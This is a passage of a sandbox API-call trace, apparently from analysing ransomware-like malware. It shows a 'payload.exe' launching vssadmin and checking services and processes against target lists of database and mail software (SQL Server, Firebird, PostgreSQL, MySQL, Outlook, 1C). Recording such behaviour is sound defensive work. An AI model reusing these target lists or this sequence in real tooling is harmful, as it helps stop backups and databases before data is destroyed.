th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0072.122] lstrlenW (lpString="taskhost.exe") returned 12 [0072.122] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0072.123] lstrlenW (lpString="payload.exe") returned 11 [0072.123] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0072.124] lstrlenW (lpString="cmd.exe") returned 7 [0072.124] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0072.125] lstrlenW (lpString="conhost.exe") returned 11 [0072.125] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0072.125] lstrlenW (lpString="vssadmin.exe") returned 12 [0072.125] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0072.126] lstrlenW (lpString="VSSVC.exe") returned 9 [0072.126] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.126] lstrlenW (lpString="svchost.exe") returned 11 [0072.126] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0072.127] CloseHandle (hObject=0x1f8) returned 1 [0072.127] Sleep (dwMilliseconds=0x1f4) [0072.640] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x626ca8 [0072.641] EnumServicesStatusExW (in: hSCManager=0x626ca8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0072.641] GetLastError () returned 0xea [0072.641] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12c6) returned 0x628500 [0072.641] EnumServicesStatusExW (in: hSCManager=0x626ca8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x628500, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x628500, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0072.642] CloseServiceHandle (hSCObject=0x626ca8) returned 1 [0072.642] lstrlenW (lpString="Appinfo") returned 7 [0072.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0072.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0072.642] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0072.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0072.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0072.642] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0072.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0072.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0072.642] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0072.642] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0072.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0072.642] lstrlenW (lpString="AudioSrv") returned 8 [0072.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0072.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0072.643] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0072.643] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0072.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0072.643] lstrlenW (lpString="BFE") returned 3 [0072.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0072.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0072.643] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0072.643] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0072.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0072.643] lstrlenW (lpString="CryptSvc") returned 8 [0072.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0072.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0072.643] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0072.643] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0072.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0072.643] lstrlenW (lpString="CscService") returned 10 [0072.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0072.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0072.644] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0072.644] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0072.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0072.644] lstrlenW (lpString="DcomLaunch") returned 10 [0072.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0072.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0072.644] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0072.644] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0072.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0072.644] lstrlenW (lpString="Dhcp") returned 4 [0072.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0072.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0072.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0072.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0072.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0072.644] lstrlenW (lpString="Dnscache") returned 8 [0072.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0072.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0072.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0072.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0072.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0072.644] lstrlenW (lpString="DPS") returned 3 [0072.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0072.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0072.644] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0072.644] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0072.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0072.645] lstrlenW (lpString="eventlog") returned 8 [0072.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0072.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0072.645] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0072.645] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0072.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0072.645] lstrlenW (lpString="EventSystem") returned 11 [0072.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0072.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0072.645] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0072.645] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0072.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0072.645] lstrlenW (lpString="gpsvc") returned 5 [0072.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0072.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0072.645] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0072.645] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0072.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0072.645] lstrlenW (lpString="iphlpsvc") returned 8 [0072.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0072.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0072.645] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0072.645] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0072.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0072.645] lstrlenW (lpString="LanmanServer") returned 12 [0072.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0072.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0072.646] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0072.646] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0072.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0072.646] lstrlenW (lpString="LanmanWorkstation") returned 17 [0072.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0072.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0072.646] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0072.646] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0072.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0072.646] lstrlenW (lpString="lmhosts") returned 7 [0072.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0072.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0072.646] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0072.646] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0072.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0072.646] lstrlenW (lpString="MMCSS") returned 5 [0072.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0072.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0072.646] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0072.646] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0072.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0072.646] lstrlenW (lpString="MpsSvc") returned 6 [0072.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0072.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0072.646] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0072.646] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0072.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0072.647] lstrlenW (lpString="Netman") returned 6 [0072.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0072.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0072.647] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0072.647] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0072.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0072.647] lstrlenW (lpString="netprofm") returned 8 [0072.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0072.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0072.647] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0072.647] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0072.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0072.647] lstrlenW (lpString="NlaSvc") returned 6 [0072.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0072.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0072.647] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0072.647] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0072.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0072.647] lstrlenW (lpString="nsi") returned 3 [0072.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0072.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0072.647] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0072.647] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0072.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0072.647] lstrlenW (lpString="PcaSvc") returned 6 [0072.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0072.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0072.647] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0072.647] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0072.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0072.648] lstrlenW (lpString="PlugPlay") returned 8 [0072.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0072.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0072.648] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0072.648] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0072.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0072.648] lstrlenW (lpString="Power") returned 5 [0072.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0072.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0072.648] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0072.648] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0072.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0072.648] lstrlenW (lpString="ProfSvc") returned 7 [0072.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0072.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0072.648] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0072.648] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0072.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0072.648] lstrlenW (lpString="RpcEptMapper") returned 12 [0072.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0072.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0072.648] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0072.648] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0072.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0072.648] lstrlenW (lpString="RpcSs") returned 5 [0072.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0072.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0072.649] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0072.649] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0072.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0072.649] lstrlenW (lpString="SamSs") returned 5 [0072.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0072.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0072.649] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0072.649] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0072.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0072.649] lstrlenW (lpString="Schedule") returned 8 [0072.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0072.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0072.649] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0072.649] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0072.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0072.649] lstrlenW (lpString="SENS") returned 4 [0072.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0072.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0072.649] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0072.649] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0072.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0072.649] lstrlenW (lpString="ShellHWDetection") returned 16 [0072.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0072.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0072.649] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0072.649] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0072.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0072.650] lstrlenW (lpString="Spooler") returned 7 [0072.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0072.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0072.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0072.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0072.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0072.650] lstrlenW (lpString="swprv") returned 5 [0072.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0072.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0072.650] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0072.650] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0072.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0072.650] lstrlenW (lpString="SysMain") returned 7 [0072.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0072.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0072.650] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0072.650] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0072.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0072.650] lstrlenW (lpString="Themes") returned 6 [0072.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0072.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0072.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0072.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0072.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0072.650] lstrlenW (lpString="TrkWks") returned 6 [0072.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0072.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0072.651] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0072.651] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0072.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0072.651] lstrlenW (lpString="UxSms") returned 5 [0072.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0072.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0072.651] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0072.651] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0072.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0072.651] lstrlenW (lpString="VSS") returned 3 [0072.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0072.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0072.651] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0072.651] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0072.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0072.651] lstrlenW (lpString="WdiServiceHost") returned 14 [0072.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0072.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0072.651] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0072.651] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0072.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0072.651] lstrlenW (lpString="WdiSystemHost") returned 13 [0072.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0072.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0072.651] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0072.651] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0072.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0072.652] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0072.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0072.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0072.652] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0072.652] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0072.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0072.652] lstrlenW (lpString="Winmgmt") returned 7 [0072.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0072.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0072.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0072.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0072.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0072.652] lstrlenW (lpString="WPDBusEnum") returned 10 [0072.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0072.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0072.652] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0072.652] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0072.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0072.652] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x628500 | out: hHeap=0x5d0000) returned 1 [0072.652] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f4 [0072.658] Process32FirstW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0072.658] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0072.659] lstrlenW (lpString="System") returned 6 [0072.659] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0072.659] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0072.659] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0072.659] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0072.659] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0072.659] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0072.659] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0072.659] Process32NextW (in: hSnapshot=0x1f4, 